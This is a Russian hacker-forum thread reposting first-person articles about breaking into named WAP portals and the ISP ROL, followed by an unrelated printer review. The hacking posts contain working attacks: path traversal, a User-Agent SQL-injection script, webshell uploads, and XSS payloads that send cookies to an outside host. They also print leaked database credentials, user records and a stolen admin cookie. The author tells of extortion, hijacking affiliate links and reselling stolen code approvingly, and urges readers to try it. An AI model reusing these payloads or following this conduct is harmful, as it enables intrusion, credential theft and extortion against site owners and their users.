«На конференции в Австралии, в 1997-м году я встретил Theo de Raadt, который сообщил о скором закрытии провайдером его сетевого проекта OpenBSD, поскольку он не в состоянии заплатить $300 за хостинг. Я достал чековую книжку и тут же выписал ему чек на $300, вручив со словами: «Твой проект слишком ценен, чтобы позволить ему умереть из-за каких то $300».

«Многие бизнесмены боятся свободы. Они не верят, что качественная вещь может быть бесплатной, что свободный труд может принести пользу. Они полагают, что деньги дают им контроль. Но на самом деле, если говорить о программировании, работники коммерческих компаний пишут программы не потому, что хотят, а потому, что им говорят это делать. Этим они отличаются от опенсорсного движения».





--------------------
Самые лучшие отзывы обо мне : [лопатой мозги вправить ], [Oбиженный жизнью заморыш],[ грубый и туповатый] , [не хватает интеллекта смотреть на мир шире. И все враги.], [озлобленный мальчик, помешанный на «членах» ] , [узколобость и шовинизм - это к имбецилам и другим болезням]
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Metallica
сообщение Dec 2 2006, 11:30
Сообщение #48


Oбиженный жизнью заморыш
Group Icon

Группа: Administrators
Сообщений: 2 136
Регистрация: 4-August 06
Из: Матрица
Пользователь №: 504
Имя: TONY MONTANO
Настроение: KILL EM ALL
Заходит на форум с гостевика или полного инета.



Мобильный взломИстория взлома крупнейших WAP-сайтов

Каждый день мы пользуемся сервисами крупнейших русскоязычных WAP-сайтов. Но мало кто знает, что эти сайты, как и их собратья в большом инете, содержат уязвимости. Совсем недавно мне удалось поломать некоторые Wap-ресурсы, что доставило немало неприятностей их администраторам. А ломал я через всем известные баги – sql-injection, travers directory и т.п. Удивлен? Я тоже был удивлен, когда находил их на крупных Wap-порталах. А потом привык smile.gif.

Хорошие вап-программеры обычно не пользуются готовыми скриптами, а пишут их сами. А также нередко заказывают нужную программу у хорошего и проверенного человека за N-ную сумму веб-манек. Но в этом и заключается вся опасность: такие мобильные форумы, чаты, даунлод-центры практически всегда имеют какой-нибудь нелепый баг. Здесь все так же, как при взломе обычных ресурсов. Единственная трудность заключается в использовании специального языка разметки wml в wap-страницах. Но тут все так же, как и в простом html. Только не удивляйся тому, что после открытия wap-страницы вместо привычного <form action="" method="post"> ты увидишь какой-то <anchor><go href="" method="post"> smile.gif. Если тебе потребуется внести нехороший символ в одну из переменных, передаваемых скрипту из wml-страницы, нужно будет всего лишь немного осмотреться и действовать по аналогии с html. А вообще, прибегать к просмотру чистого wml приходится крайне редко — все хакерские действия совершаются в строке URL-браузера.

Давай определимся, что мы сможем поиметь от взлома wap-сайта? Бесплатные мелодии и картинки? Это вряд ли, ведь они и так выложены бесплатно. Халявный доступ к платным сервисам и онлайн-играм? Это уже лучше — некоторые ресурсы их действительно предоставляют. Но самую большую выгоду можно получить от продажи исходных кодов эксклюзивных скриптов, расположенных на мобильных порталах. Для экстрималов подойдет способ смены партнерских ссылок на свои smile.gif. То есть все деньги от продажи платного контента партнеров могут пойти тебе в карман. Если, конечно, админ не заметит такой подставы.

А теперь я хочу рассказать несколько поучительных историй взломов известных WAP-порталов со счастливым концом.

wap.kmx.ru - надежный конструктор

Сейчас очень модно создавать мобильные сайты, просматриваемые прямо с экрана сотового телефона. Владельцы этих сервисов-конструкторов получают огромные деньги, размещая рекламные и партнерские ссылки на сайтах своих клиентов. Одним из порталов, предоставляющих такую услугу, является wap.kmx.ru. Пользователям этого конструктора предоставлены широчайшие возможности по созданию и редактированию своих страниц. Как утверждают сами создатели kmx: «Мы - эксперты сайтостроения!». Но так ли это? 20000 пользователей сервиса действительно так считают, а я почему-то сразу не поверил и, зарегистрировав свой сайт с помощью веб-браузера Opera, начал изучать внутреннее устройство скрипта. После недолгого хождения по ссылкам мне посчастливилось наткнуться на такой интересный пункт, как «Импорт файлов через url». Эта фишка позволяет загрузить на свой сайт различный контент для мобильного телефона. Страница раздела содержала 2 поля ввода: «URL» и «Сохранить как...». Недолго думая, я вписал в URL значение ../../../../../../../../etc/passwd, а в поле «Сохранить как...» — passwd.wml. Я представил, что вполне возможно значение http:// указано для красоты, а в скрипте его наличие не проверяется. Действительно, после нехитрого злодеяния в моей папке для wml-страничек появился новый файл с содержанием /etc/passwd smile.gif. Дальше я попробовал прочитать содержимое директории с помощью этой баги. Значки ../../ и функция readfile() помогли мне выйти в корень конструктора. Продолжив изучать по очереди все *.php-скрипты, я наткнулся на параметры доступа к базе данных конструктора в файлике /home/kmx/www/rotation_reklama_25.php.

define("DBName","kmx");

define("HostName","localhost");

define("UserName","kmx");

define("Password","kmx-hosting");

Отличный пароль для такого серьезного проекта. Что удивительно, он подошел к ftp! Получив доступ к серверу, я тут же слил все файлы конструктора и базу данных к себе на жесткий диск. Вот часть дампа базы клиентов этого хостинга-конструктора:

INSERT INTO `users` VALUES (12965,'kmx','tehrana','tehrana','1561554961',0,1112326239,1112326250,'farid','nadirov','nf_m55@mail.ru',0,5242880,0,'');

INSERT INTO `users` VALUES (14642,'kmx','elkatan','yaquboqlu','7381022744',0,1113300485,1113300500,'ELDENIZ','MAMEDOV','elkatan@mail.ru',0,5242880,0,'');

INSERT INTO `users` VALUES (12961,'kmx','skykmxru','mix','2417159245',632235923,1112322498,1112325157,'pavel','Ivanov','',0,5242880,0, '');

INSERT INTO `users` VALUES (12960,'kmx','till','131313','4832612542',955559136,1112320276,1112797484,'Саша','Ященко','tillll@gala.net',0,5242880,0,'');

INSERT INTO `users` VALUES (12959,'kmx','cold-punk','Hoj','1097662073',0,1112319078,1112319089,'Il\'ya','Yavorskij','cold-punk@mail.ru',0,5242880,0,'');

Итак, я мог рулить всеми сайтами конструктора. Вообще, у меня была идея их удалить, но я не стал этого делать, так как админ kmx развернул нешуточную антихакерскую деятельность. Он проверил все свои скрипты на баги и подключил к защите сервера своих знакомых из спецслужб (как он сам говорил). Но, несмотря на это, мне с товарищами все же удалось несколько раз продать эти эксклюзивные хостерские скрипты за кругленькую сумму smile.gif.

seclub.org - вакханалия в чате

Что такое мобильный чат? Это бессонно проведенные ночи у экрана телефона, настоящая дружба и виртуальная любовь, которые всюду ходят с тобой в кармане. Самые лучшие вап-чаты обычно размещены на более или менее посещаемых порталах, одним из которых является seclub.org - клуб любителей трубок от SonyEricsson. Этот популярнейший WAP-портал с не менее популярным чатом тоже оказался подверженным взлому. Именно из-за моих приколов над пользователями админы клуба вынуждены были написать свой новый чат с нуля, а не пользоваться купленным у wap.wab.ru скриптом smile.gif.

А с чего же все началось? Как-то раз, сидя в аське, я узнал у хорошего знакомого про то, что этот чат записывает в базу данных переменную с юзерагентом ($HTTP_USER_AGENT) без каких-либо проверок. Переварив эту инфу и зная о том, что поле с правами пользователя в БД называется «level», я решил проверить чат на sql-injection. Я накатал простенький php-скрипт, увеличивающий «level» на несколько пунктов,

<?

$fp = fsockopen("seclub.org", 80, $errno, $errstr, 30);

$out = "GET /chat/chat.php?id=41711&ps=testaz&rm=4&ref=169569 HTTP/1.1\r\n";

$out .= "Host: seclub.org\r\n";

$out .= "Connection: Close\r\n";

$out .= "User-Agent: 1',level='7\r\n\r\n";

fwrite($fp, $out);

fclose($fp);

?>

и запустил его на Денвере. После чего, зайдя в чат, увидел много новых возможностей: Админская комната, Панель управления администратором, кнопка смены заголовка комнаты и т.д. Админы раз за разом убирали мой статус, а я снова и снова проделывал этот нехитрый трюк, становясь администратором smile.gif.

Так как этот скрипт со временем стал доступен всем и каждому, ты можешь поискать его в вапе и поглумиться над тупыми администраторами. Распознать такой чат можно по специфической странице reghelp.php (в других чатах регистрация оформлена либо совсем без страницы с правилами и помощью, либо эта пага называется по-другому), на которую ты попадаешь сразу после нажатия кнопки «Регистрация» в главном меню.

wap.siemens-club.ru - кривые ручки кодеров

А теперь самое вкусненькое. Wap.Siemens-Club.Ru - вап-представительство сименс-клуба, на сегодняшний день является одним из самых посещаемых ресурсов рувапа с очень высоким доходом. На нем находятся тонны отсортированных загрузок: wav, mmf-мелодии и т.п. Резон для взлома этого портала был очень весомым - возможность шантажа и получения денег.

Разработчиком движка для вап сименс-клуба является человек с ником lastdj (его вап-сайт lastdj.net.ru), кодер довольно неплохой, но невнимательный. Практически в каждый параметр его скриптов можно было вставить кавычку для sql-инъекции (уже потом за умеренную плату админы клуба попросили меня указать их). В общем, их движок был полностью дырявым. Но самая главная бага открывалась взору, если в Опере пройти по вкладке Сервис->Быстрые настройки и нажать «Представляться как Internet explorer», а не как Opera, что стоит там по дефолту. После выполнения этой нехитрой процедуры по адресу wap.siemens-club.ru можно увидеть веб-форму для загрузки своих файлов в вап-обменник (сейчас он находится по адресу: http://wap.siemens-club.ru/?mod=mod_dmelody). Сначала я попробовал загрузить веб-шелл, содержащийся в файле test.jpg.php. Не прокатило: расширение жестко проверялось. Затем, немного подумав, переименовал файл в test.php.jpg. Скрипт спокойно проглотил мой шелл и даже любезно обрезал «.jpg», оставив просто файл test.php smile.gif Что было дальше, думаю, не стоит объяснять. После изучения сервера, поиска всех явок, паролей и доступов я постучал в асю к одному из админов сименс-клуба и потребовал за информацию о дырке немного зеленых денег на подставной кошелек. Админ, естественно, мне не поверил и создал тестовый файл php в корне сайта, попросив меня раскрыть его содержание. Что я и сделал. Но админ снова не понял всю серьезность ситуации. Тогда я удалил из загрузок весь раздел с java-книгами smile.gif. Только после этого товарищ администратор осознал, что нужно что-то делать, перевел мне запрошенную сумму — и я рассказал ему о дырке. А потом все тихо и мирно разошлись.

Думаю, этот пример наглядно показал, почему не стоит доверять непроверенным кодерам.

wap.mypuk.ru - качаем деньги

В свое время (2003-2004 годы) wap.mypuk.ru был самым посещаемым порталом рувапа. Люди заходили на него благодаря неплохому по тем временам чату и огромному каталогу ссылок. После появления партнерских программ админ ресурса решил первым их испытать и поставил на свой сайт эти самые партнерские ссылки. Деньги полились к нему рекой, и мы с товарищами решили, что он должен поделиться smile.gif.

Наверно, всем уже приелась бага phpbb-форума в параметре highlight, но именно она нам помогла. У мурика как раз был установлен такой форум с неплохой вап-модификацией. Собственно, в вап-phpbb бага не работала, а вот в веб проходила на ура. Причем права на запись, удаление и т.д. файлов были полными. В результате залития шелла на сервер мы смогли рулить крупнейшим сайтом рувапа около двух недель. И все эти две недели на несколько часов меняли партерские ссылки контент-провайдеров playfon.ru и mediamobile.ru на свои. Это заметить было сложно, так как такая партнерская ссылка имеет следующий вид:

http://wapb2b.playfon.ru/p/chm.wml?d=232234,

где «d=232234» - ид партнера. Так мы ставили свой ид и продавали на чужом портале около 60-80 игр в день. Правда, деньги за эти игры мы так и не получили, так как, совершенно обнаглевши, стали заменять ссылки уже не на пару часов, а на весь день. В результате Мурик заметил обман и нажаловался контент-провайдеру, который заблокировал наш аккаунт и перевел все деньги обратно Мурику.

Этот взлом можно считать неудачным, но сам прецедент и идея впечатляют. Если тебе удастся взломать какой-нибудь крупный вап-портал, попробуй поднять денег именно таким способом, но сильно не наглей smile.gif.

wap.bodr.net - месть

И снова популярнейший вап-портал с тоннами загрузок. В свое время с админом бодр.нет у нас сложились очень натянутые отношения. Мы заказали вап-конструктор у знакомого кодера за неплохие деньги, затем этот же кодер продал наш конструктор и бодру. После этого началась история взаимных взломов именно через этот конструктор smile.gif.

Итак, сам скрипт у бодра расположен по адресу: wap4.ru. После регистрации пользователь попадает в стандартное меню, где можно залезть сразу же в редактирование главной страницы index.wml. Я сразу зашел в этот раздел, и в каждое из полей (Текст, URL, Картинка и т.д.) ввел символы: ' < > $, чтобы проверить, режутся ли тэги. Тэги не резались только в поле «Картинка». Это очень хорошо. Затем я открыл исходный wml-код страницы редактирования и нашел тэг анкора (аналог <form> в html):

<anchor title="go">OK!<go href="edittext.php?id=32019&p=testoz&page=index.wml&i=5" method="post">

изменил его на

<anchor title="go">OK!<go href="http://wap4.ru/edittext.php?id=32019&p=testoz&page=index.phtml&i=5" method="post">

и сохранил страничку на жестком диске. Ты спросишь, почему именно index.phtml, а не index.php? Привычка smile.gif. Обычно админы забывают про это расширение phtml, и в случае с бодром это тоже оказалось верно.

После открытия сохраненной паги я ввел в поле картинки значение «<? system($cmd) ?>», после чего нажал кнопку «Ок» и получил полноценный шелл на wap4.ru.

Затем мы с товарищами стали шантажировать бодра и сняли с него немного денег smile.gif. Правда, он нам потом отомстил, взломав наш сайт через этот же конструктор, только уже через другую багу. Но все закончилось хорошо.

wap.wep.ru - и снова конструктор

wap.wep.ru (бывший wap.kybuk.ru) - сайт, создавший свою популярность исключительно на рекламе. Его админ вкладывает все деньги, заработанные на продаже мобильного контента исключительно в рекламные аукционы и покупку дорогих скриптов. Одним из таких скриптов снова является популярный в наше время конструктор вап-сайтов, расположенный у кубика по адресу: wxo.ru (глупый домен, не правда ли?). Здесь все было еще проще. Регистрируешь сайт, заходишь на страничку загрузки файлов и заливаешь файл test.phtml, не прибегая ни к каким ухищрениям с расширениями и т.п. Правда, здесь есть одно существенное «но». На сервере с конструктором очень грамотно настроен php, включен safe mode и сопутствующие ему настройки. Здесь пришлось применить мой скрипт, описанный в мартовском ][ (статья «К кому уходят аси?», http://wapp.ru/trash/dir.txt), позволяющий листать директории и просматривать файлы без применения системных функций. После небольшого изучения сервера мы слили все файлы конструктора себе и решили связаться с Кубиком. В итоге договорились о нераспространении скрипта за 10 дней рекламы у него на сайте smile.gif.

Вместо заключения

Надеюсь, ты понял, что баги в WAP-порталах бывают самые разные. К тому же большинство из них успешно мигрировало из ресурсов HTTP. Все ошибки, описанные в этом материале, актуальны до сих пор (если не на одном, так на другом WAP-ресурсе). Твоя задача – намотать это правило на ус и свыкнуться с мыслью, что взлом WAP ничем не сложнее всех остальных хакерских трюков.

Ссылки по теме:

http://script.woweb.ru/index.htm/c/62- некоторые популярные WAP-скрипты

DVD

dir.php-скрипт для работы со взломанным сервером в инклуде с php safe-mode

DANGER

Лично я не советую тебе заниматься взломом WAP-сайтов, так как в мобильном бизнесе крутятся очень большие деньги, из-за которых ты можешь пострадать.



--------------------
Самые лучшие отзывы обо мне : [лопатой мозги вправить ], [Oбиженный жизнью заморыш],[ грубый и туповатый] , [не хватает интеллекта смотреть на мир шире. И все враги.], [озлобленный мальчик, помешанный на «членах» ] , [узколобость и шовинизм - это к имбецилам и другим болезням]
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Metallica
сообщение Dec 2 2006, 12:47
Сообщение #49


Oбиженный жизнью заморыш
Group Icon

Группа: Administrators
Сообщений: 2 136
Регистрация: 4-August 06
Из: Матрица
Пользователь №: 504
Имя: TONY MONTANO
Настроение: KILL EM ALL
Заходит на форум с гостевика или полного инета.



Бажный провайдер – свободный интернет



Атака на ROL

Крупные хостинги и провайдеры всегда притягивали любопытный хакерский взгляд. И это не удивительно, ведь именно там хранятся базы данных с самой разнообразной информацией: от регистрационных анкет до пользовательских аккаунтов. Рол является одним из крупнейших провайдеров в России и Узбекистане, поэтому в этот раз выбор пал на него.

Быстрый старт

Одним из весенних вечеров, когда заняться было особенно нечем, мне на глаза попалась карточка Рола. Я не раз пользовался услугами данного провайдера, но сейчас меня заинтересовало совсем другое. А именно – защищенность его ресурсов. Недолго думая, я вбил в адресную строку www.rol.ru и нажал Enter. Как показал первый осмотр, ресурс оказался огромным. Кроме новостных лент, он содержал почтовый сервис, личный кабинет, фотоальбом и регистрационные формы. Но меня мало прельщало занятие в виде проверки всех поддоменов, поэтому я решил поверхностно осмотреть скрипты, полагаясь исключительно на кривые руки разработчиков и удачу. Каково же было мое удивление, когда через 15 минут я нашел раскрытие путей установочных каталогов и xss. Уязвимость присутствовала в скрипте second.php, находящемся по адресу: http://www.rol.ru/second.php. Параметр topic не фильтровал входящие данные, в результате чего скрипт любезно выполнял мой javascript-код в браузере. Достаточно было лишь указать запрос вида http://www.rol.ru/second.php?topic=10<...</script> — и можно было наблюдать приветливое окошечко с надписью «XSS». Сначала я обрадовался в надежде на возможность получения чужих куков. Но, осмотревшись внимательнее, понял, что не все так просто. Выяснилось, что скрипт фильтровал символ «+». Эту проблему я решил достаточно быстро, написав файл script.js и прилинковав его к основному запросу. Получился следующий линк: http://www.rol.ru/second.php?topic=10<script src=”http://stopthefraud.org/script.js></script>. В script.js я записал сам сценарий: open(‘http://stopthefraud.org/inf.php?’+document.cookie); после чего залил файл на сервер (stopthefraud.org). Тестирование завершилось удачно, уязвимость успешно эксплуатировалась. Но меня смущала одна немаловажная деталь - отсутствие в куках главного домена какой-либо полезной информации. Я хотел было уже приняться за исследование поддоменов, но к этому времени появился заказ — и мне пришлось сесть за работу, оставив в покое Рол.

Все с начала

Наступило лето, а вместе с ним и желание крупного взлома. И тут я вспомнил про Рол. Но, запустив браузер и зайдя по ссылке, я увидел, что админ пропатчил скрипт, и уязвимости больше нет. Меня это несколько огорчило, и я решил восполнить свою утрату любым путем. Для начала был произведен осмотр имеющих поддоменов в количестве 4-х штук: http://mail.rol.ru/ (почтовый сервис), http://voffice.rol.ru/ (личный кабинет), http://photo.rol.ru/ (фотоальбом), http://services.rol.ru/rus/ (цены и тарифы). В личном кабинете я не нашел ничего интересного. Все запросы грамотно фильтровались — и меня посылали куда подальше smile.gif. Аналогичная ситуация обстояла с services.rol.ru. На очереди находился почтовый сервис, который я собирался подвергнуть детальной проверке...





--------------------
Самые лучшие отзывы обо мне : [лопатой мозги вправить ], [Oбиженный жизнью заморыш],[ грубый и туповатый] , [не хватает интеллекта смотреть на мир шире. И все враги.], [озлобленный мальчик, помешанный на «членах» ] , [узколобость и шовинизм - это к имбецилам и другим болезням]
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Metallica
сообщение Dec 2 2006, 15:41
Сообщение #50


Oбиженный жизнью заморыш
Group Icon

Группа: Administrators
Сообщений: 2 136
Регистрация: 4-August 06
Из: Матрица
Пользователь №: 504
Имя: TONY MONTANO
Настроение: KILL EM ALL
Заходит на форум с гостевика или полного инета.



Все отлично работало. Но мне хотелось большего. Я проверил еще два параметра скрипта: ppuser и password — оба оказались уязвимыми, сплоит для них был общим. Изменив значение ppuser, я вновь просмотрел хтмл-код:

<input type="hidden" name="ppuser" value="<script>alert('xss')</script>" />

Требовалось закрыть кавычкой значение value и добавить />. А в общем виде сплоит выглядел так: “/><script>your_code</script>. Просмотрев еще несколько скриптов и не заметив ничего интересного, я вернулся к showmembers.php. Следует отметить, что данный скрипт был для меня просто «на вес золота». Проверив фильтрацию параметра si, я вновь в этом убедился. На этот раз хтмл-код содержал следующее:

<td><input type="text" name="si" value="<script>alert('xss')</script>" style="width:77px"></td>

Без труда составив сплоит: “</td><script>your_code</script>, я проверил, что все работает на ура.

Таким образом, у меня на руках было 5 рабочих xss на photo.rol.ru и одна проблемная на mail.rol.ru. Весьма неплохой набор. Оставалось лишь выбрать жертву и впарить ей линк.

Выбор жертвы и первый урожай

Мне предстояло выбрать жертву. Конечно, в идеале хотелось получить админские куки. Я насчитал 5 админов в фотоальбоме, но ни у одного в профиле не было указано ни аси, ни мыла. Тогда мой взгляд привлекла домашняя страничка админа с ником Andy@. Зайдя по указанной в профиле ссылке, я попал на сайт какой-то домашней сети. По-видимому, это был сайт админа, но что самое главное – на нем был указан его email. Так как в наличии у меня имелось целых 5 xss, необходимо было определиться с используемой багой. Я решил работать с xss в профиле юзера. Во-первых, при выполнении кода поле «Обо мне» оставалось пустым, что не вызывало подозрений. А во-вторых, я собирался дать админу линк на профиль пользователя. Грамотно составить текст письма с вложенной ссылкой не вызвало особых затруднений. Я вставил в уязвимое поле код: <script>open(‘http://stopthefraud.org/inf.php?’+document.cookie)</script> и залил на сервер снифер. После чего отправил письмо админу с ником Andy@. У меня не было полной уверенности в том, что админ прочитает письмо и зайдет по указанному линку, поэтому я полагался лишь на удачу. И, как ни странно, мне повезло!

Буквально через 40 минут я обнаружил на сервере файл лога slg.txt с админскими куками:

Date and Tiime: 22.06.06 : 16:30:33

IP: 194.67.3.240

Cookie: ppid=3;%20pppass=7c022a2354536d68ffa57c2041edae42;%20defperpage=12

Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3

Заменив в куках свои значения на админские, я моментально набрал в адресной строке photo.rol.ru. Все стало ясно по первой строчке приветствия фотоальбома: «Добро пожаловать, Andy@!». Получилось! Моей радости не было предела. Я сразу полез в админку. К счастью, там не требовалось ввода пароля. Окинув взглядом меню админки, я заметил опцию для работы с БД. Но внезапно вспомнил, что профиль моего пользователя, на который я давал ссылку админу, находится с внедренным javascript-кодом, что может вызвать подозрение у админа при последующих заходах по линку. Я быстро поменял значения куков назад и залогинился под своим юзером. Отредактировав профиль и удалив из поля «Обо мне» код, я вышел. Мне очень хотелось сделать дамп базы альбома. Но не тут-то было. Зайти обратно под админскими куками не получалось! Видимо, админ просек, в чем дело, и успел сменить пароль. Это событие сильно огорчило меня. Подумать только, я ведь мог сделать дамп базы и, возможно, залить веб-шелл, но не успел ни первого, ни второго. Получить админские данные еще раз было нереально. Но на всякий случай отправил админу похожее письмо. Я понимал, что шанс того, что Andy@ снова кликнет на линк, ничтожно мал, поэтому у меня появилась новая идея. Раз в админку мне уже не попасть, то почему бы не поднять несколько пользовательский акков? Тем более что у многих юзеров в профиле был указан email вида юзер@rol.ru, который являлся по совместительству логином к почтовому сервису и личному кабинету, а хэш пароля я мог получить при помощи xss. Я отобрал для эксперимента двух пользователей. Первый – с мылом вида юзер@rol.ru, а второй – со статусом «Privilege User». Отправив письма обоим, я стал ждать. Через час на сервере появился файл лога, из которого я успешно почерпнул куки обоих юзеров. Хэш пароля первого пользователя немедленно отправился на брут, а вот второй юзер, с ником Roman Bazalevsky, меня заинтересовал своим необычным статусом. Кроме того, этот пользователь занимал второе место вслед за админом в рейтинге активнейших авторов. К моему разочарованию, никакими дополнительными полномочиями Roman Bazalevsky не обладал, но вот большая часть его галереи являлась закрытой. Я быстро просмотрел все установленные юзером пароли — и мог теперь пользоваться его галереей из-под любого аккаунтаsmile.gif.Было уже под утро, и мне хотелось спать, учитывая две бессонные ночи. Я закрыл окно браузера, выключил монитор, лег на кровать и уснул.

Подводим итоги

Проспал я около 6 часов, не обращая внимания на будильник. Затем встал и подошел к монитору. Увы, но сбрутить хэш первого пользователя не удалось. Запустив крысу, я получил мессагу с заказом от LoFFi и два сообщения от kid_rock’a. Статус LoFFi показывал, что он спит, а вот kid_rock был на месте. Я отписал ему о ночных событиях, о найденных мной уязвимостях и о том, как пролетел с админкой. После недолгой беседы kid_rock выдвинул свой вариант. Он предлагал собрать спамбазу юзеров Рола и проспамить их с указанным линком. В результате данной операции мы могли получить здоровую базу с хэшами паролей пользователей, часть из которых наверняка бы сбрутилась. Но, обсудив все детали, мы приняли решение не делать этого. Веским аргументом послужили 2 невыполненных заказа, на которые попросту не хватило времени.

Я задумался. В голове крутился один вопрос: «Каковы итоги взлома?». Уже через несколько секунд я сам ответил себе на него. Не смотря на то, что я не успел сдампить базу, итоги были вполне удовлетворительными. У меня существовала возможность получить доступ практически к любому из нескольких тысяч аккаунтов Рола, включая доступ к почтовому сервису и личному кабинету. А ведь такая возможность могла существовать не у меня одного. Я думаю, не стоит и говорить, к чему могли привести ошибки программистов и администраторов Рола – одного из крупнейших провайдеров России.

DVD

На DVD-диске ты найдешь видео, наглядно показывающее взлом ROL.

Danger

Внимание! Все действия взломщика противозаконны! Информация предоставлена исключительно с целью ознакомления! Ни автор, ни редакция за твои действия ответственности не несут!

Info

Многие считают, что xss – фактически бесполезная уязвимость. В своей статье я доказал, что это далеко не так. Часто возникают ситуации, когда кажется, что скрипт фильтрует входящие данные. Поэтому всегда просматривай html-код страницы, и тогда ты сможешь составить рабочий сплоит под конкретную xss-багу.




--------------------
Самые лучшие отзывы обо мне : [лопатой мозги вправить ], [Oбиженный жизнью заморыш],[ грубый и туповатый] , [не хватает интеллекта смотреть на мир шире. И все враги.], [озлобленный мальчик, помешанный на «членах» ] , [узколобость и шовинизм - это к имбецилам и другим болезням]
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Metallica
сообщение Dec 2 2006, 16:42
Сообщение #51


Oбиженный жизнью заморыш
Group Icon

Группа: Administrators
Сообщений: 2 136
Регистрация: 4-August 06
Из: Матрица
Пользователь №: 504
Имя: TONY MONTANO
Настроение: KILL EM ALL
Заходит на форум с гостевика или полного инета.



Печатные машинки
Бюджетные принтеры для дома

test_lab выражает благодарность за предоставленное оборудование российским представительствам компаний HP, Canon, Lexmark и Epson.

Список тестируемого оборудования:

Lexmark Z735

Lexmark P915

Canon Pixma IP1600

Canon Pixma IP2200

Canon Pixma IP4200

Epson С48

Epson С67

Epson Stylus C67 Photo Edition

HP Deskjet 3940

HP Deskjet 5443

HP Deskjet 5943

Закончилась сессия, а с ней и многие вещи, которые требовали вмешательства принтера: печать курсовых, рефератов, докладов и прочих составляющих насыщенной студенческой жизни. Вроде бы, печатающие головки могут отдохнуть от расставания с чернилами, а каретка, уставшая бегать туда-сюда, тоже имеет право на временную передышку. Но не тут-то было! Скоро осень, которая принесет с собой пересдачу «хвостов», новый семестр, требующий «аккуратного оформления работ» и так далее. Но и летом, в неучебную пору, принтеру может найтись работенка: распечатать какой-нибудь документ, схему, слайд или диаграмму, но чаще — фотки с последней попойки.

Хочется иметь устройство, которое бы круглый год радовало хорошим качеством отпечатков. Сегодня мы протестировали доступные универсальные принтеры, которые подходят для всех типичных домашних задач, возникающих обычно у школьников, студентов и их родителей. Эти устройства качественные, надежные, недорогие, пригодны даже для печати фотографий.

Методика тестирования

Вначале на каждом принтере выводилась его собственная тестовая страница. Для проверки базовых функций печати нами использовалась специальная тестовая страница, состоящая из наиболее часто встречающихся элементов: текста (разного размера, толщины и наклона), таблицы, диаграммы и картинки. Эта страница выводилась при помощи Microsoft Word на дефолтных настройках качества на обычной бумаге. Большинство принтеров нашего обзора были оснащены фотокартриджами. Тестовая фотография (размер стандартный (10х15), человек — на переднем плане, ночная улица — на заднем, много ярких цветов для проверки естественности цветопередачи) распечатывалась на фотобумаге из программы ACDSee 8 с выставлением в настройках принтера максимального качества отпечатка. В обоих случаях засекалось время с момента нажатия кнопки Print и до полного завершения процесса печати.

Оценивались качество полученных фоток, четкость, яркость цветов, зернистость и естественность передачи цветов. Мы также обращали внимание и на удобство работы с ними (механизм подачи, замена картриджа, возможности ПО и так далее).

Lexmark Z735

7 баллов

Цена, $: 60

Максимальное разрешение, dpi: 4800х1200

Максимальная скорость цветной печати, стр\мин: 15

Максимальная скорость монохромной печати, стр\мин: 15

Емкость лотка для бумаги, шт: 100

Дополнительно: ПО для работы с изображениями в комплекте поставки

Интерфейс: USB

Габариты, мм: 157x377x224

Вес, кг: 2,3

Очень простое и компактное устройство, которое не займет много места на столе и хорошо справится с несложными домашними задачами. Сам по себе принтер очень прост – на нем имеются всего две кнопки управления: включение питания и выдача бумаги. Кстати, ею в процессе тестирования пользоваться не приходилось: бумага подавалась ровно и не мялась на выходе. С принтером поставляется удобное и несложное фирменное ПО, предназначенное для работы с изображениями. Тестовая страница распечаталась довольно быстро (43 с). Фотография получилась на удивление качественной.

Хотя и печаталась долго (2,5 мин.). «На удивление» – потому что этот принтер не поддерживает фотопечать и во всех задачах обходится одним картриджем. В общем, это удобно. Как уже говорилось выше, тестовая страница распечаталась быстро, но это оказалось единственным достоинством, которое принтер показал в данном испытании. Картинка на ней была блеклой, текст был не черного, а какого-то болотно-зеленого цвета. Четкость — ниже средней.

Lexmark P915

9 баллов

Цена, $: 120

Максимальное разрешение, dpi: 4800х1200

Максимальная скорость цветной печати, стр\мин: 15

Максимальная скорость монохромной печати, стр\мин: 22

Емкость лотка для бумаги, шт: 100

Дополнительно: поддержка интерфейса PictBridge, ЖК-экран, автономная печать с карт памяти форматов CompactFlash I/II, Memory Stick, Multi Media, Secure Digital, SmartMedia, Microdrive, xD

Интерфейс: USB

Габариты, мм: 150x428x237

Вес, кг: 3,5

Гораздо более функциональная модель. Lexmark P915 оснащен фотокартриджем, что существенно повышает его возможности и качество отпечатков. Кроме того, работа с фотографиями может осуществляться и автономно, без ПК – через интерфейс PictBridge или с помощью карт памяти. Посредством встроенного ЖК-экрана можно легко управлять настройками устройства, а также просматривать и редактировать фотографии. Тут, несмотря на простоту и удобство меню, пригодится полная русификация принтера: от драйверов (которые, как и у предыдущего устройства, дублируют голосом экранные сообщения) до надписей на корпусе. Тестовая страница распечаталась четко и качественно, правда, не за рекордное время (1 минута и 9 секунд). Работа над фотографией заняла минуту и 20 секунд. Качество приемлемое, хотя задний план мог бы быть пропечатан четче, а цвета — понасыщеннее. При работе наблюдался неприятный момент: довольно часто страницы и фотографии печатались не полностью, наполовину или на треть. Решалась проблема сама собой: путем несколько раз повторенного задания на печать. Возможно, проблема решится обновлением драйверов.

Canon PIXMA iP1600

6 баллов

Цена, $: 75

Максимальное разрешение, dpi: 4800х1200

Максимальная скорость цветной печати, стр\мин: 16

Максимальная скорость монохромной печати, стр\мин: 19

Емкость лотка для бумаги, шт: 100

Дополнительно: ПО для работы с изображениями в комплекте поставки

Интерфейс: USB

Габариты, мм: 435x249x165

Вес, кг: 2,9

Еще один очень простой в освоении и обращении принтер. Имеет всего пару управляющих клавиш: для включения питания и выдачи застрявшего бумажного листа. Что очень понравилось в этой модели, так это скорость ее работы. Тестовая страница была распечатана за каких-то 25 секунд. Причем качество текста, таблицы и диаграммы не вызывает нареканий: все четкое и читабельное. В общем, для школьника-студента, который ищет приемлемую по цене модель для распечатки рефератов – самое то.


А вот качество фотографий в обоих тестах оказалось низким. На тестовой странице цвета были не очень насыщенными. Фотография не выдерживает вообще никакой критики – по всей распечатке проходят широкие горизонтальные полосы. Хотя основное преимущество модели сохранено и тут: печать фотографии отняла всего 45 секунд. Это даже меньше, чем указано на наклейке!

Canon PIXMA iP2200

7 баллов

Цена, $: 110

Максимальное разрешение, dpi: 4800х1200

